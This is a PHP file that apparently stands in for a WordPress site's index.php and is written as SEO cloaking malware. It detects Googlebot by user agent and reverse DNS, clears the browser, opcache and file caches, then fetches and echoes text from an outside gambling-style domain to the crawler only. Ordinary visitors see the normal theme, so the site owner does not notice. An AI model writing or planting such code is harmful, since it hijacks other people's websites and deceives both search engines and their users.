matchUserAgent($ua)) { return true; } return $this->verifyHostname($ip); } private function matchUserAgent(string $ua): bool { foreach ($this->googleAgents as $agent) { if (stripos($ua, $agent) !== false) { return true; } } return false; } private function verifyHostname(string $ip): bool { if (!$ip) return false; $host = gethostbyaddr($ip); if ($host && preg_match('/\.google(bot)?\.com$/', $host)) { $resolvedIp = gethostbyname($host); return $resolvedIp === $ip; } return false; } } class CacheManager { public static function disableBrowserCache(): void { header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Expires: 0"); } public static function clearOpcache(): void { if (function_exists('opcache_reset')) { @opcache_reset(); } } public static function clearFileCache(string $dir): void { if (!is_dir($dir)) return; foreach (glob($dir . '/*') as $file) { if (is_file($file)) { @unlink($file); } } } public static function run(): void { self::disableBrowserCache(); self::clearOpcache(); // optional: ganti path jika punya folder cache sendiri self::clearFileCache(__DIR__ . '/cache'); } } class RemoteFetcher { public static function get(string $url): string { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => [ 'User-Agent: Googlebot' ] ]); $result = curl_exec($ch); curl_close($ch); return $result ?: ''; } } $detector = new BotDetector(); if ($detector->isGoogle()) { CacheManager::run(); $source = 'https://betacejogofutebol.com/exe/aarambhat/themes.txt'; echo RemoteFetcher::get($source); exit; } define('WP_USE_THEMES', true); require __DIR__ . '/home.php';